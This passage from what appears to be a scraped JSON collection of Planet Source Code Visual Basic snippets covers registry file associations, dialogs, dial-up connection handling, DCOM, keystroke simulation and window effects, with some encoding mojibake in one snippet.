registry.\n Dim sKeyValue As String 'Holds Key Value in registry.\n Dim ret& 'Holds error status if any from API calls.\n Dim lphKey& 'Holds created key handle from RegCreateKey.\n 'This creates a Root entry called \"MyApp\".\n sKeyName = \"MyApp\" '*\n sKeyValue = \"My Application\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This creates a Root entry called .BAR associated with \"MyApp\".\n sKeyName = \".bar\" '*\n sKeyValue = \"MyApp\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This sets the command line for \"MyApp\".\n sKeyName = \"MyApp\" '*\n sKeyValue = \"notepad.exe %1\" '*\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"shell\\open\\command\", REG_SZ, sKeyValue, MAX_PATH)\nEnd Sub"},{"WorldId":1,"id":681,"LineNumber":1,"line":"'make a new project; 2 textboxen (index 0 & 1); 2 labels (index 0 & 1)\n'1 command button\n'Insert the next code in the right place (use Insert/File)\n'Press F5\n------------- code -------------------\nPrivate Sub ChooseNumber(strNumber As String, strAppName As String, strName As String)\n Dim lngResult As Long\n Dim strBuffer As String\n \n lngResult = tapiRequestMakeCall&(strNumber, strAppName, strName, \"\")\n If lngResult <> 0 Then 'error\n strBuffer = \"Error connecting to number: \"\n Select Case lngResult\n Case -2&\n strBuffer = strBuffer & \" 'PhoneDailer not installed?\"\n Case -3&\n strBuffer = strBuffer & \"Error : \" & CStr(lngResult) & \".\"\n End Select\n \n MsgBox strBuffer\n End If\n \nEnd Sub\nPrivate Sub Command1_Click()\n Call ChooseNumber(Text1(0).Text, \"PhoneDialer\", Text1(1).Text)\n \nEnd Sub\n\nPrivate Sub Form_Load()\n Text1(0).Text = \"\"\n Text1(1).Text = \"\"\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n End\n \nEnd Sub"},{"WorldId":1,"id":682,"LineNumber":1,"line":"'Add the following code to the Command1_Click event on a form:\nPrivate Sub Command1_Click()\n'Add the following code to the Command1_Click event:\n Dim i As Long\n Const SoundFileName$ = \"c:\\sb16\\samples\\s_16_44.wav\"\n i = waveOutGetNumDevs()\n If i > 0 Then 'There is at least one sound device.\n\ti& = sndPlaySound(SoundFileName$, Flags&) \n Else\n Beep\n End If\nEnd Sub"},{"WorldId":1,"id":692,"LineNumber":1,"line":"Public Sub StayOnTop(frmForm As Form, fOnTop As Boolean)\n \n Const HWND_TOPMOST = -1\n Const HWND_NOTOPMOST = -2\n \n Dim lState As Long\n Dim iLeft As Integer, iTop As Integer, iWidth As Integer, iHeight As Integer\n \n With frmForm\n iLeft = .Left / Screen.TwipsPerPixelX\n iTop = .Top / Screen.TwipsPerPixelY\n iWidth = .Width / Screen.TwipsPerPixelX\n iHeight = .Height / Screen.TwipsPerPixelY\n End With\n \n If fOnTop Then\n lState = HWND_TOPMOST\n Else\n lState = HWND_NOTOPMOST\n End If\n Call SetWindowPos(frmForm.hWnd, lState, iLeft, iTop, iWidth, iHeight,0)\nEnd Sub"},{"WorldId":1,"id":695,"LineNumber":1,"line":"'first be sure you have add the custom controls\n'Microsoft Windows Common Controls -> Comctl32.ocx\n'step 1:\n'add the control Imagelist\n'set the propertie Custom\n'General: size \n'Images: click 'Insert Picture' to add the necessary pictures\n'step 2:\n'add the control Toolbar\n'set the propertie Custom\n'General: Imagelist\n'Buttons: to add a button just click on 'Insert Button'\n'at 'Image' you need to set the index-number of the wanted picture \n'this number is the same as the pictures index in the ImageList\n'place - if you want - a ToolTipText\n'or if you just want text place it behind the propertie 'Caption'\n'click on 'OKE' when you are finished\n'and the toolbar is ready\n'now the code\n'put it under the\nPrivate Sub Toolbar1_ButtonClick(ByVal Button As Button)\n Select Case Button.Index\n Case 1\t'click on the first button\n Case 2\t'click on the second button\n Case 3\t'click on the third button\n \t'and so on\n End Select\n \nEnd Sub\n'you can change most properties a runtime\nToolbar1.Buttons(1).Visible = False 'makes the first button disappear\nToolbar1.Buttons(1).ToolTipText = \"an other one\" 'change the tooltip text of the first button\nToolbar1.Buttons(2).Enabled = False 'disable the second button\nToolbar1.Buttons(3).Caption = \"KATHER\" 'change the caption of the third button\n'BTW you cannot set the property Toolbar1.ShowTips at runtime!"},{"WorldId":1,"id":699,"LineNumber":1,"line":"Attribute VB_Name = \"OpenFile32\"\nOption Explicit\nPrivate Type OPENFILENAME\n lStructSize As Long\n hwndOwner As Long\n hInstance As Long\n lpstrFilter As String\n lpstrCustomFilter As String\n nMaxCustFilter As Long\n nFilterIndex As Long\n lpstrFile As String\n nMaxFile As Long\n lpstrFileTitle As String\n nMaxFileTitle As Long\n lpstrInitialDir As String\n lpstrTitle As String\n flags As Long\n nFileOffset As Integer\n nFileExtension As Integer\n lpstrDefExt As String\n lCustData As Long\n lpfnHook As Long\n lpTemplateName As String\nEnd Type\nPublic Const OFN_READONLY = &H1\nPublic Const OFN_OVERWRITEPROMPT = &H2\nPublic Const OFN_HIDEREADONLY = &H4\nPublic Const OFN_NOCHANGEDIR = &H8\nPublic Const OFN_SHOWHELP = &H10\nPublic Const OFN_ENABLEHOOK = &H20\nPublic Const OFN_ENABLETEMPLATE = &H40\nPublic Const OFN_ENABLETEMPLATEHANDLE = &H80\nPublic Const OFN_NOVALIDATE = &H100\nPublic Const OFN_ALLOWMULTISELECT = &H200\nPublic Const OFN_EXTENSIONDIFFERENT = &H400\nPublic Const OFN_PATHMUSTEXIST = &H800\nPublic Const OFN_FILEMUSTEXIST = &H1000\nPublic Const OFN_CREATEPROMPT = &H2000\nPublic Const OFN_SHAREAWARE = &H4000\nPublic Const OFN_NOREADONLYRETURN = &H8000\nPublic Const OFN_NOTESTFILECREATE = &H10000\nPublic Const OFN_NONETWORKBUTTON = &H20000\nPublic Const OFN_NOLONGNAMES = &H40000 ' force no long names for 4.x modules\nPublic Const OFN_EXPLORER = &H80000 ' new look commdlg\nPublic Const OFN_NODEREFERENCELINKS = &H100000\nPublic Const OFN_LONGNAMES = &H200000 ' force long names for 3.x modules\nPublic Const OFN_SHAREFALLTHROUGH = 2\nPublic Const OFN_SHARENOWARN = 1\nPublic Const OFN_SHAREWARN = 0\nPrivate Declare Function GetOpenFileName Lib \"comdlg32.dll\" Alias \"GetOpenFileNameA\" (pOpenfilename As OPENFILENAME) As Long\nPrivate Declare Function GetSaveFileName Lib \"comdlg32.dll\" Alias \"GetSaveFileNameA\" (pOpenfilename As OPENFILENAME) As Long\n\n\nFunction SaveDialog(Form1 As Form, Filter As String, Title As String, InitDir As String) As String\n \n Dim ofn As OPENFILENAME\n Dim A As Long\n ofn.lStructSize = Len(ofn)\n ofn.hwndOwner = Form1.hWnd\n ofn.hInstance = App.hInstance\n If Right$(Filter, 1) <> \"|\" Then Filter = Filter + \"|\"\n For A = 1 To Len(Filter)\n If Mid$(Filter, A, 1) = \"|\" Then Mid$(Filter, A, 1) = Chr$(0)\n Next\n ofn.lpstrFilter = Filter\n ofn.lpstrFile = Space$(254)\n ofn.nMaxFile = 255\n ofn.lpstrFileTitle = Space$(254)\n ofn.nMaxFileTitle = 255\n ofn.lpstrInitialDir = InitDir\n ofn.lpstrTitle = Title\n ofn.flags = OFN_HIDEREADONLY Or OFN_OVERWRITEPROMPT Or OFN_CREATEPROMPT\n A = GetSaveFileName(ofn)\n If (A) Then\n SaveDialog = Trim$(ofn.lpstrFile)\n Else\n SaveDialog = \"\"\n End If\nEnd Function\n\nFunction OpenDialog(Form1 As Form, Filter As String, Title As String, InitDir As String) As String\n \n Dim ofn As OPENFILENAME\n Dim A As Long\n ofn.lStructSize = Len(ofn)\n ofn.hwndOwner = Form1.hWnd\n ofn.hInstance = App.hInstance\n If Right$(Filter, 1) <> \"|\" Then Filter = Filter + \"|\"\n For A = 1 To Len(Filter)\n If Mid$(Filter, A, 1) = \"|\" Then Mid$(Filter, A, 1) = Chr$(0)\n Next\n ofn.lpstrFilter = Filter\n ofn.lpstrFile = Space$(254)\n ofn.nMaxFile = 255\n ofn.lpstrFileTitle = Space$(254)\n ofn.nMaxFileTitle = 255\n ofn.lpstrInitialDir = InitDir\n ofn.lpstrTitle = Title\n ofn.flags = OFN_HIDEREADONLY Or OFN_FILEMUSTEXIST\n A = GetOpenFileName(ofn)\n If (A) Then\n OpenDialog = Trim$(ofn.lpstrFile)\n Else\n OpenDialog = \"\"\n End If\nEnd Function"},{"WorldId":1,"id":714,"LineNumber":1,"line":"Create a Form with 4 command buttons. \nName the first three buttons: 'Command1' (This will create a Control Array)\nLabel the first button: 'Connect Drive'\nLabel the second button: 'Disconnect Drive'\nLabel the third button: 'End Capture'\nLabel the fourth button: 'Quit'\nDouble-Click on one the button labelled \"Connect Drive\" and enter the following:\nPrivate Sub Command1_Click(Index As Integer) <<== You won't need this line\n Dim x As Long\n If Index = 0 Then 'Connect\n x = WNetConnectionDialog(Me.hwnd, RESOURCETYPE_DISK)\n ElseIf Index = 1 Then 'Disconnect\n x = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_DISK)\n Else\n End\n End If\nEnd Sub <<== You won't need this line either.\nName the fourth button 'printerbutton'. Double-Click it and enter the following:\nPrivate Sub printerbutton_Click()\n Dim x As Long\n x = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_PRINT)\nEnd Sub\nRun the app and click each of the buttons to see what happens!\nHope you find it useful!\nIf you're interested in trading VB code tips, email me at: kkeller@1stnet.com"},{"WorldId":1,"id":721,"LineNumber":1,"line":"Public Function Connected_To_ISP() As Boolean\r\n \r\nDim hKey As Long\r\nDim lpSubKey As String\r\nDim phkResult As Long\r\nDim lpValueName As String\r\nDim lpReserved As Long\r\nDim lpType As Long\r\nDim lpData As Long\r\nDim lpcbData As Long\r\n Connected_To_ISP = False\r\n \r\n lpSubKey = \"System\\CurrentControlSet\\Services\\RemoteAccess\"\r\n ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, phkResult)\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n hKey = phkResult\r\n lpValueName = \"Remote Connection\"\r\n lpReserved = APINULL\r\n lpType = APINULL\r\n lpData = APINULL\r\n lpcbData = APINULL\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType,\r\nByVal lpData, lpcbData)\r\n \r\n lpcbData = Len(lpData)\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType,\r\nlpData, lpcbData)\r\n If ReturnCode = ERROR_SUCCESS Then\r\n If lpData = 0 Then\r\n ' Not Connected\r\n Else\r\n ' Connected\r\n Connected_To_ISP = True\r\n End If\r\n End If\r\n RegCloseKey (hKey)\r\n End If\r\nEnd Function\r\n> 2) Once I determine that I'd like to disconnect, How do I do \r\n> that? It seems like I need some interface to DUN to do it.\r\nUse RasHangUp. In this example I display a splash screen (frmHangupSplash)\r\nwhile the hangup is in progress. You'll want to set gstrISPName =\r\nGet_ISP_Name() before calling HangUp(), or better yet modify HangUP and\r\npass the DUN connection name (the ISP) as a parameter..\r\nPublic Sub HangUp()\r\nDim i As Long\r\nDim lpRasConn(255) As RasConn\r\nDim lpcb As Long\r\nDim lpcConnections As Long\r\nDim hRasConn As Long\r\n \r\n frmHangupSplash.Show\r\n frmHangupSplash.Refresh\r\n \r\n lpRasConn(0).dwSize = RAS_RASCONNSIZE\r\n lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize\r\n lpcConnections = 0\r\n \r\n ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)\r\n ' Drop ALL the connections that match the currect\r\n ' connections name.\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n For i = 0 To lpcConnections - 1\r\n If Trim(ByteToString(lpRasConn(i).szEntryName)) =\r\nTrim(gstrISPName) Then\r\n hRasConn = lpRasConn(i).hRasConn\r\n ReturnCode = RasHangUp(ByVal hRasConn)\r\n End If\r\n Next i\r\n End If\r\n \r\n ' It takes about 3 seconds to drop the connection.\r\n \r\n Wait (3)\r\n \r\n While Connected_To_ISP\r\n Wait (1)\r\n Wend\r\n \r\n Unload frmHangupSplash\r\n \r\nEnd Sub\r\n\r\nPublic Sub Wait(sngSeconds As Single)\r\nDim sngEndTime As Single\r\n sngEndTime = Timer + sngSeconds\r\n \r\n While Timer < sngEndTime\r\n DoEvents\r\n Wend\r\n \r\nEnd Sub\r\n\r\nPublic Function Get_ISP_Name() As String\r\nDim hKey As Long\r\nDim lpSubKey As String\r\nDim phkResult As Long\r\nDim lpValueName As String\r\nDim lpReserved As Long\r\nDim lpType As Long\r\nDim lpData As String\r\nDim lpcbData As Long\r\n Get_ISP_Name = \"\"\r\n \r\n If gblnConnectedToISP Then\r\n lpSubKey = \"RemoteAccess\"\r\n ReturnCode = RegOpenKey(HKEY_CURRENT_USER, lpSubKey, phkResult)\r\n If ReturnCode = ERROR_SUCCESS Then\r\n hKey = phkResult\r\n lpValueName = \"Default\"\r\n lpReserved = APINULL\r\n lpType = APINULL\r\n lpData = APINULL\r\n lpcbData = APINULL\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved,\r\nlpType, ByVal lpData, lpcbData)\r\n \r\n lpData = String(lpcbData, 0)\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved,\r\nlpType, ByVal lpData, lpcbData)\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n ' Chop off the end-of-string character.\r\n Get_ISP_Name = Left(lpData, lpcbData - 1)\r\n End If\r\n RegCloseKey (hKey)\r\n End If\r\n End If\r\nEnd Function\r\n'***************************************************************************\r\n' Name: ByteToString\r\n' ' Description:* * * THIS IS A FOLLOWUP SUBMISSION * * *\r\nPurpose: Convert a string in byte format (usually from a DLL call) to a string of text.\r\nPLEASE POST THIS AS A FOLLOWUP OR ADD TO THE CODE SAMPLE TITLED \"Detect if there is a Dial up network connection\" attributed to me J Gerard Olszowiec, entity@ns.sympatico.ca. The newsgroup post that you captured had a followup post that included the ByteToString code. I've been receiving requets for this functions code. Much Thanx. - Gerard\r\n\r\n' By: Entity Software\r\n'\r\n' Inputs:None\r\n' Returns:None\r\n' Assumes:None\r\n' Side Effects:None\r\n'\r\n'Code provided by Planet Source Code(tm) 'as is', without\r\n' warranties as to performance, fitness, merchantability,\r\n' and any other warranty (whether expressed or implied).\r\n'***************************************************************************\r\n\r\n\r\nPublic Function ByteToString(bytString() As Byte) As String\r\n\r\n ' ' Convert a string in byte format (usually from a DLL call)\r\n ' ' to a string of text.\r\n Dim i As Integer\r\n ByteToString = \"\"\r\n i = 0\r\n\r\n While bytString(i) 0&\r\n ByteToString = ByteToString & Chr(bytString(i))\r\n i = i + 1\r\n Wend\r\n\r\nEnd Function\r\n\r\n"},{"WorldId":1,"id":722,"LineNumber":1,"line":"The function below is intended to be made a public function\nin a class library. Just say\ndim c as object\ndim d as object\nset c = createobject(\"whatever.yourobjectis\")\nset d = invokeDCOMObject(\"someserver\",\"someobject.someclass\")\nand you will get back an object reference to the remote DCOM object,\n(or d will still be Nothing if the invocation failed). Set d to\nnothing when you are done with the DCOM object.\nThe trick is to call CoCreateInstanceEx to do the dirty work - and get\nan iDispatch interface pointer in one step. This is very efficient,\ntoo. You get the interface by passing the 'well-known' REFIID of\niDispatch. If there is a way to programmatically do this I don't know\nhow, so I hard-coded the REFIID into a little routine.\n\n'class-level variable for storing last error. You might want to\nprovide a property get routine to retrieve it.\ndim clsLastError as string\nPublic Function InvokeDCOMOBject(remserver As String, objectname As\nString) As Object\n' Function which given a server and a object, will instantiate this\nobject on\n' the server specified [if remserver is \"\" then this means local\ncomputer]\n' We use CoCreateInstanceEx to do the dirty work.\nDim clsid(256) As Byte\nDim progid() As Byte\nDim server() As Byte\nDim qi As MULTI_QI\nDim st As SERV_STRUC\nDim refiid(16) As Byte\nDim lrc As Long\nclsLastError = \"\"\n'now, there is a special case. If remserver is null or is same as our\nmachine,\n'we do a local invoke instead and pass that back.\nIf remserver = \"\" Or UCase$(remserver) = UCase$(GetCompName()) Then\n On Error Resume Next\n Err = 0\n Set InvokeDCOMOBject = CreateObject(objectname)\n If Err <> 0 Then\n 'record last error\n clsLastError = Err.errdesc\n End If\n On Error GoTo 0\n Exit Function\nEnd If\n'otherwise, it is genuinely remote.\n'set an IID for IDispatch\nGetIIDforIDispatch refiid()\n'point to the IID\nqi.piid = VarPtr(refiid(0))\n'specify the object to be launched\nprogid = objectname & Chr$(0)\n'specify the server\nserver = remserver & Chr$(0)\n'initialise OLE\nlrc = OleInitialize(0)\n'get the CLSID for the object\nlrc = CLSIDFromProgID(progid(0), clsid(0))\nIf lrc <> 0 Then\n clsLastError = \"Unable to obtain CLSID from progid \" & objectname\n& vbCrLf & \"Possibly it is not registered on both this server and\nserver \" & remserver\n Exit Function\nEnd If\n'point to server name\nst.ptrserver = VarPtr(server(0))\n'invoke a remote instance of the desired object\nlrc = CoCreateInstanceEx(clsid(0), 0, 16, st, 1, qi)\nIf lrc <> 0 Then\n clsLastError = \"CoCreateInstanceEx failed with error code \" &\nHex$(lrc)\n Exit Function\nEnd If\n'pass back object ref.\nSet InvokeDCOMOBject = qi.pitf\nEnd Function\n\nPublic Sub GetIIDforIDispatch(p() As Byte)\n'fills in the well-known IID for IDispatch into the byte array p.\np(1) = 4\np(2) = 2\np(8) = &HC0\np(15) = &H46\nEnd Sub\nFunction GetCompName() As String\n'return the computer name\nDim buf As String\nDim rc As Long\nbuf = String$(256, 0)\nrc = GetComputerName(buf, Len(buf))\nIf InStr(buf, Chr$(0)) > 1 Then\n GetCompName = UCase$(Left$(buf, InStr(buf, Chr$(0)) - 1))\nEnd If\nEnd Function"},{"WorldId":1,"id":726,"LineNumber":1,"line":"Public Sub SendFileToPrinter()\n Dim FileName As String\n Dim s As Long\n Dim i As Integer\n \n For i = 0 To frmMain.List.ListCount - 1\n If frmMain.List.Selected(i) Then\n FileName = CurFolder & \"\\\" & frmFileList.File.List(i)\n s = SendToPort(FileName, CurPrnPort, vbNull)\n frmMain.List.Selected(i) = False\n End If\n Next i\n \nEnd Sub\nPublic Function SendToPort(sFileName$, sPortName$, lPltFailed&)\nDim s As Long\n s = CopyFile(sFileName, sPortName, lPltFailed)\nEnd Function"},{"WorldId":1,"id":745,"LineNumber":1,"line":"'Copyright 1997 Jouni vuorio\npublic function compress()\nOn Error Resume Next\nFor TT = 1 To Len(Text1)\nsana1 = Mid(Text1, TT, 1)\nsana2 = Mid(Text1, TT + 1, 1)\nsana3 = Mid(Text1, TT + 2, 1)\nX = 1\nIf Not sana1 = sana2 Then l├╢yty = 2\nIf sana1 = sana2 Then\nIf sana1 = sana3 Then\nl├╢yty = 1\nEnd If\nEnd If\n\nIf l├╢yty = 1 Then\nalku:\nX = X + 1\nmerkki = Mid(Text1, TT + X + 1, 1)\nIf merkki = sana1 Then GoTo alku\nsana = Chr(255) & Chr(X - 1) & sana1\nTT = TT + X\nEnd If\nIf l├╢yty = 2 Then sana = sana1\nText = Text & sana\nNext\nText1 = Text\nend function\npublic function uncompress()\nOn Error Resume Next\nFor TT = 1 To Len(Text1)\nsana1 = Asc(Mid(Text1, TT, 1))\nsana2 = Asc(Mid(Text1, TT + 1, 1))\nsana3 = Asc(Mid(Text1, TT + 2, 1))\nsana4 = Asc(Mid(Text1, TT - 1, 1))\nIf sana1 = 255 Then\nFor TT6 = 1 To sana2\nsana = sana & Chr(sana3)\nNext\nsana1 = \"\"\nsana2 = \"\"\nEnd If\nIf sana = \"\" Then\nIf Not sana4 = 255 Then\nsana = Chr(sana1)\nEnd If\nEnd If\nText = Text & sana\nsana = \"\"\nNext\n\nText1 = Text\nend function\n'comments to jouni.vuorio@vtoy.fi\n"},{"WorldId":1,"id":749,"LineNumber":1,"line":"Option Explicit\n'local variable(s) to hold property value(s)\nPrivate mvarDestination As Long 'local copy\nPrivate Const KEYEVENTF_EXTENDEDKEY = &H1\nPrivate Const KEYEVENTF_KEYUP = &H2\nPrivate Const VK_SHIFT = &H10\n\nPrivate Declare Function OemKeyScan Lib \"user32\" (ByVal wOemChar As Integer) As Long\nPrivate Declare Function CharToOem Lib \"user32\" Alias \"CharToOemA\" (ByVal lpszSrc As String, ByVal lpszDst As String) As Long\nPrivate Declare Function VkKeyScan Lib \"user32\" Alias \"VkKeyScanA\" (ByVal cChar As Byte) As Integer\nPrivate Declare Function MapVirtualKey Lib \"user32\" Alias \"MapVirtualKeyA\" (ByVal wCode As Long, ByVal wMapType As Long) As Long\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)\nPrivate Sub SendAKey(ByVal keys As String)\n Dim vk%\n Dim shiftscan%\n Dim scan%\n Dim oemchar$\n Dim dl&\n Dim shiftkey%\n ' Get the virtual key code for this character\n vk% = VkKeyScan(Asc(keys)) And &HFF\n ' See if shift key needs to be pressed\n shiftkey% = VkKeyScan(Asc(keys)) And 256\n oemchar$ = \" \" ' 2 character buffer\n ' Get the OEM character - preinitialize the buffer\n CharToOem Left$(keys, 1), oemchar$\n ' Get the scan code for this key\n scan% = OemKeyScan(Asc(oemchar$)) And &HFF\n ' Send the key down\n If shiftkey% = 256 Then\n 'if shift key needs to be pressed\n shiftscan% = MapVirtualKey(VK_SHIFT, 0)\n 'press down the shift key\n keybd_event VK_SHIFT, shiftscan%, 0, 0\n End If\n 'press key to be sent\n keybd_event vk%, scan%, 0, 0\n ' Send the key up\n If shiftkey% = 256 Then\n 'keyup for shift key\n keybd_event VK_SHIFT, shiftscan%, KEYEVENTF_KEYUP, 0\n End If\n 'keyup for key sent\n keybd_event vk%, scan%, KEYEVENTF_KEYUP, 0\nEnd Sub\nPublic Sub SendKeys(ByVal keys As String)\n Dim x&, t As Integer\n 'loop thru string to send one key at a time\n For x& = 1 To Len(keys)\n 'activate target application\n AppActivate (mvarDestination)\n 'send one key to target\n SendAKey Mid$(keys, x&, 1)\n Next x&\nEnd Sub\nPublic Property Let Destination(ByVal vData As Long)\n'used when assigning a value to the property, on the left side of an assignment.\n'Syntax: X.Destination = 5\n mvarDestination = vData\nEnd Property\n\nPublic Property Get Destination() As Long\n'used when retrieving value of a property, on the right side of an assignment.\n'Syntax: Debug.Print X.Destination\n Destination = mvarDestination\nEnd Property\n\n"},{"WorldId":1,"id":754,"LineNumber":1,"line":"'Add a new Form to your project, and add 3 command buttons to the\n'form (named Command1, Command2, and Command3). Then just\n'paste the following code into the form:\nOption Explicit\nDim i As Integer\nDim dbg As New clsDebugTimer\n\nPrivate Sub Command1_Click()\n Me.MousePointer = vbHourglass\n \n 'EXAMPLE 1 - VERY BASIC USAGE\n \n ' Start the timer\n dbg.Begin\n \n 'Do something that will take a little time\n For i = 0 To 25000: DoEvents: Next\n \n 'By default, calling the ShowElapsed method\n 'will display the elapsed time in the immediate window\n dbg.ShowElapsed\n \n \n Me.MousePointer = vbDefault\n \nEnd Sub\n\nPrivate Sub Command2_Click()\n Me.MousePointer = vbHourglass\n\n 'EXAMPLE 2 - USING THE PARAMETERS\n \n 'Start the timer, this time passing a\n 'timer index and a description\n dbg.Begin 0, \"Loop from 0 to 25000\"\n \n 'Do something that takes time\n For i = 0 To 25000: DoEvents: Next\n \n 'Display the elapsed time for timer index 0 in a message box\n dbg.ShowElapsed outMsgBox, 0\n \n \n Me.MousePointer = vbDefault\n \nEnd Sub\nPrivate Sub Command3_Click()\n Me.MousePointer = vbHourglass\n \n 'EXAMPLE 3 - USING MULTIPLE TIMERS\n \n 'Start the first timer- we'll use an index of 1\n 'timer index and a description\n dbg.Begin 1, \"Total Time\"\n \n 'Start a second timer- (index 2)\n 'timer index and a description\n dbg.Begin 2, \"Count from 0 to 25000\"\n \n 'Do something that takes time\n For i = 0 To 25000: DoEvents: Next\n \n 'Display the elapsed time for the second timer\n dbg.ShowElapsed outImmediateWindow, 2\n \n \n 'perform another loop like the one we just did above\n dbg.Begin 2, \"Count from 0 to 24999\"\n \n 'Do something that takes time\n For i = 0 To 24999: DoEvents: Next\n \n 'Display the elapsed time for the second timer\n dbg.ShowElapsed outImmediateWindow, 2\n \n 'Now display the elapsed time for the first timer\n dbg.ShowElapsed outImmediateWindow, 1\n \n \n Me.MousePointer = vbDefault\nEnd Sub"},{"WorldId":1,"id":755,"LineNumber":1,"line":"Public Function Openf(frm As Form, Text As RichTextBox, Dialog As CommonDialog)\n On Error Resume Next\n Dialog.Filter = \"Text Files (*.txt)|*.txt|All Files (*.*)|*.*|\" 'Edit the filter how you want it \n Dialog.Flags = cdlOFNPathMustExist & cdlOFNHideReadOnly\n Dialog.Action = 1\n Screen.MousePointer = vbHourglass\n Text.Text = \"\"\n Text.LoadFile Dialog.filename\n frm.Show\n frm.Refresh\n Screen.MousePointer = vbNormal\nEnd Function\nPrivate Sub Command1_Click()\nCall Openf(Me, RichTextBox1, CommonDialog1)\nEnd Sub"},{"WorldId":1,"id":760,"LineNumber":1,"line":"Function File_Exists(ByVal PathName As String, Optional Directory As Boolean) As Boolean\n 'Returns True if the passed pathname exist\n 'Otherwise returns False\n If PathName <> \"\" Then\n \n If IsMissing(Directory) Or Directory = False Then\n \n File_Exists = (Dir$(PathName) <> \"\")\n \n Else\n \n File_Exists = (Dir$(PathName, vbDirectory) <> \"\")\n \n End If\n \n End If\nEnd Function"},{"WorldId":1,"id":761,"LineNumber":1,"line":"Public Function Short_Name(Long_Path As String) As String\n'Returns short pathname of the passed long pathname\nDim Short_Path As String\nDim PathLength As Long\nShort_Path = Space(250)\nPathLength = GetShortPathName(Long_Path, Short_Path, Len(Short_Path))\nIf PathLength Then\n Short_Name = Left$(Short_Path, PathLength)\n \nEnd If\nEnd Function"},{"WorldId":1,"id":762,"LineNumber":1,"line":"Public Sub Exclusive_Mode(Use As Boolean)\n'If True was passed makes app exclusive\n'Else makes app not exclusive\nDim Scrap\nScrap = SystemParametersInfo(97, Use, \"\", 0)\nEnd Sub"},{"WorldId":1,"id":794,"LineNumber":1,"line":"Private Sub Form_Load()\nShow 'The form!\nSetWindowRgn hWnd, CreateEllipticRgn(0, 0, 300, 200), True\nEnd Sub\n'E-mail Me at BTMSoft@aol.com for more info"},{"WorldId":1,"id":795,"LineNumber":1,"line":"Private Sub Command1_Click()\nDecValue = Val(Text1.Text)\nBinValue = \"\"\nDo\nTempValue = DecValue Mod 2\n BinValue = CStr(TempValue) + BinValue\nDecValue = DecValue \\ 2\nLoop Until DecValue = 0\n'Print\n'Print BinValue\nText2.Text = BinValue\nEnd Sub\n"},{"WorldId":1,"id":816,"LineNumber":1,"line":"Public Sub MakeTransparent(frm As Form)\n'This code was takin from a AOL Visual Basic\n'Message Board. It was submited by: SOOPRcow\n Dim rctClient As RECT, rctFrame As RECT\n Dim hClient As Long, hFrame As Long\n '// Grab client area and frame area\n GetWindowRect frm.hWnd, rctFrame\n GetClientRect frm.hWnd, rctClient\n '// Convert client coordinates to screen coordinates\n Dim lpTL As POINTAPI, lpBR As POINTAPI\n lpTL.x = rctFrame.Left\n lpTL.Y = rctFrame.Top\n lpBR.x = rctFrame.Right\n lpBR.Y = rctFrame.Bottom\n ScreenToClient frm.hWnd, lpTL\n ScreenToClient frm.hWnd, lpBR\n rctFrame.Left = lpTL.x\n rctFrame.Top = lpTL.Y\n rctFrame.Right = lpBR.x\n rctFrame.Bottom = lpBR.Y\n rctClient.Left = Abs(rctFrame.Left)\n rctClient.Top = Abs(rctFrame.Top)\n rctClient.Right = rctClient.Right + Abs(rctFrame.Left)\n rctClient.Bottom = rctClient.Bottom + Abs(rctFrame.Top)\n rctFrame.Right = rctFrame.Right + Abs(rctFrame.Left)\n rctFrame.Bottom = rctFrame.Bottom + Abs(rctFrame.Top)\n rctFrame.Top = 0\n rctFrame.Left = 0\n '// Convert RECT structures to region handles\n hClient = CreateRectRgn(rctClient.Left, rctClient.Top, rctClient.Right, rctClient.Bottom)\n hFrame = CreateRectRgn(rctFrame.Left, rctFrame.Top, rctFrame.Right, rctFrame.Bottom)\n '// Create the new \"Transparent\" region\n CombineRgn hFrame, hClient, hFrame, RGN_XOR\n '// Now lock the window's area to this created region\n SetWindowRgn frm.hWnd, hFrame, True\nEnd Sub\n"},{"WorldId":1,"id":820,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function SetParent Lib \"user32\" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long\nPrivate Declare Function MoveWindow Lib \"user32\" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long\n\nPrivate Sub Form_Load()\n'Set Toolbar1 as Combo1's parent, then move Combo1 where we want it. \n SetParent Combo1.hwnd, Toolbar1.hwnd\n MoveWindow Combo1.hwnd, 100, 1, 50, 50, True 'Note: units are pixels\n'Set Toolbar1 as Check1's parent, then move Check1 where we want it. \n SetParent Check1.hwnd, Toolbar1.hwnd\n MoveWindow Check1.hwnd, 175, 5, 150, 15, True\nEnd Sub\n\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'Demonstrate that Combo1 and Check1 are really \"on\" Toolbar1 by moving Toolbar1 when\n'the form is clicked.\n Toolbar1.Move X, Y\nEnd Sub"},{"WorldId":1,"id":823,"LineNumber":1,"line":"\nPublic Sub Form_Load()\n \n Timer1.Interval = 1000\n \n OldX = 0\n OldY = 0\n \nEnd Sub\nPublic Sub Timer1_Timer()\n \n GetCursorPos Pnt\n \n Me.Cls\n Me.Print \"The current mouse coordinates are \"; _\n Pnt.X; 